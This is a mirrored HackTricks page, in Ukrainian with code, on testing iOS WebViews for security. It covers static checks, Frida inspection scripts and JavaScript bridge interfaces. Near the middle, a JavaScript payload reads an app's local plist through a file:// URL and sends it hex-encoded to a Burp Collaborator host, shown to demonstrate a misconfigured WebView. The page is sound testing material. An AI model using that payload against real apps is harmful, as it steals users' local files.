mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
279 lines
21 KiB
Markdown
279 lines
21 KiB
Markdown
# iOS WebViews
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Код цієї сторінки був витягнутий з [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Перевірте сторінку для отримання додаткових деталей.
|
||
|
||
## Типи WebViews
|
||
|
||
WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:
|
||
|
||
- **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення **JavaScript**, що робить його вразливим до ін'єкцій скриптів та атак **Cross-Site Scripting (XSS)**.
|
||
|
||
- **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, які запобігають автоматичному відкриттю вікон JavaScript і забезпечують безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.
|
||
|
||
- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, який можна впізнати за його специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути чітко відображений відповідно до рекомендацій App Store.
|
||
```javascript
|
||
// Example of disabling JavaScript in WKWebView:
|
||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||
preferences.javaScriptEnabled = NO;
|
||
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||
config.preferences = preferences;
|
||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||
```
|
||
## WebViews Configuration Exploration Summary
|
||
|
||
### **Static Analysis Overview**
|
||
|
||
У процесі вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.
|
||
|
||
- **UIWebView Identification**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||
```
|
||
Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.
|
||
|
||
- **Ідентифікація WKWebView**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||
```
|
||
Аналогічно, для **WKWebView** ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.
|
||
|
||
Крім того, щоб дізнатися, як ініціалізується **WKWebView**, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:
|
||
```bash
|
||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||
```
|
||
#### **Перевірка конфігурації JavaScript**
|
||
|
||
Для **WKWebView** підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена на `false`, що забезпечує вимкнення JavaScript:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||
```
|
||
#### **Тільки перевірка безпечного контенту**
|
||
|
||
**WKWebView** пропонує можливість виявлення проблем з змішаним контентом, на відміну від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||
```
|
||
### **Інсайти динамічного аналізу**
|
||
|
||
Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цього використовується скрипт з назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.
|
||
|
||
Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`.
|
||
```javascript:webviews_inspector.js
|
||
ObjC.choose(ObjC.classes["UIWebView"], {
|
||
onMatch: function (ui) {
|
||
console.log("onMatch: ", ui)
|
||
console.log("URL: ", ui.request().toString())
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for UIWebView!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log("URL: ", wk.URL().toString())
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for WKWebView!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["SFSafariViewController"], {
|
||
onMatch: function (sf) {
|
||
console.log("onMatch: ", sf)
|
||
},
|
||
onComplete: function () {
|
||
console.log("done for SFSafariViewController!")
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log(
|
||
"javaScriptEnabled:",
|
||
wk.configuration().preferences().javaScriptEnabled()
|
||
)
|
||
},
|
||
})
|
||
|
||
ObjC.choose(ObjC.classes["WKWebView"], {
|
||
onMatch: function (wk) {
|
||
console.log("onMatch: ", wk)
|
||
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
|
||
},
|
||
})
|
||
```
|
||
Скрипт виконується з:
|
||
```bash
|
||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
```
|
||
**Ключові результати**:
|
||
|
||
- Екземпляри WebViews успішно знайдені та перевірені.
|
||
- Перевірено налаштування активації JavaScript та безпечного контенту.
|
||
|
||
Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
|
||
|
||
## Обробка протоколів WebView
|
||
|
||
Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.
|
||
|
||
**WebViews** пропонують різні методи для завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.
|
||
|
||
Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||
```
|
||
Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з файлових URL, причому обидва за замовчуванням мають значення false.
|
||
|
||
Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки:
|
||
```bash
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||
console.log('allowFileAccessFromFileURLs: ',
|
||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
console.log('allowUniversalAccessFromFileURLs: ',
|
||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
```
|
||
Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.
|
||
```javascript
|
||
String.prototype.hexEncode = function () {
|
||
var hex, i
|
||
var result = ""
|
||
for (i = 0; i < this.length; i++) {
|
||
hex = this.charCodeAt(i).toString(16)
|
||
result += ("000" + hex).slice(-4)
|
||
}
|
||
return result
|
||
}
|
||
|
||
var xhr = new XMLHttpRequest()
|
||
xhr.onreadystatechange = function () {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
var xhr2 = new XMLHttpRequest()
|
||
xhr2.open(
|
||
"GET",
|
||
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
|
||
xhr.responseText.hexEncode(),
|
||
true
|
||
)
|
||
xhr2.send(null)
|
||
}
|
||
}
|
||
xhr.open(
|
||
"GET",
|
||
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
|
||
true
|
||
)
|
||
xhr.send(null)
|
||
```
|
||
## Native Methods Exposed Through WebViews
|
||
|
||
## Understanding WebView Native Interfaces in iOS
|
||
|
||
З iOS 7 Apple надала API для **зв'язку між JavaScript у WebView та нативними** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:
|
||
|
||
- **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у `JSContext`. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом.
|
||
- **JSExport Protocol**: Спадкуючи протокол `JSExport`, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.
|
||
|
||
### Accessing `JSContext` in Objective-C
|
||
|
||
В Objective-C `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду:
|
||
```objc
|
||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||
```
|
||
### Спілкування з `WKWebView`
|
||
|
||
Для `WKWebView` прямий доступ до `JSContext` недоступний. Натомість використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript спілкуватися з нативними компонентами. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:
|
||
```swift
|
||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||
options_dict["javaScriptBridge"]?.value = enabled
|
||
let userContentController = wkWebViewConfiguration.userContentController
|
||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||
|
||
if enabled {
|
||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||
}
|
||
}
|
||
```
|
||
### Взаємодія та Тестування
|
||
|
||
JavaScript може взаємодіяти з рідним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик рідних функцій з веб-сторінки:
|
||
```javascript
|
||
function invokeNativeOperation() {
|
||
value1 = document.getElementById("value1").value
|
||
value2 = document.getElementById("value2").value
|
||
window.webkit.messageHandlers.javaScriptBridge.postMessage([
|
||
"multiplyNumbers",
|
||
value1,
|
||
value2,
|
||
])
|
||
}
|
||
|
||
// Alternative method for calling exposed JavaScript functions
|
||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||
```
|
||
Щоб захопити та маніпулювати результатом виклику рідної функції, можна переопределити функцію зворотного виклику в HTML:
|
||
```html
|
||
<html>
|
||
<script>
|
||
document.location = "javascriptbridge://getSecret"
|
||
function javascriptBridgeCallBack(name, result) {
|
||
alert(result)
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
Сторона нативного коду обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:
|
||
```swift
|
||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||
// Handling "multiplyNumbers" operation
|
||
case "multiplyNumbers":
|
||
let arg1 = Double(messageArray[1])!
|
||
let arg2 = Double(messageArray[2])!
|
||
result = String(arg1 * arg2)
|
||
// Callback to JavaScript
|
||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||
}
|
||
```
|
||
## Налагодження iOS WebViews
|
||
|
||
(Посібник, оснований на [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||
|
||
Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:
|
||
|
||
- **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_.
|
||
|
||
- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_.
|
||
|
||
- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.
|
||
|
||
Однак, будьте обережні з обмеженнями:
|
||
|
||
- Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.
|
||
- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені таким чином.
|
||
|
||
## Посилання
|
||
|
||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|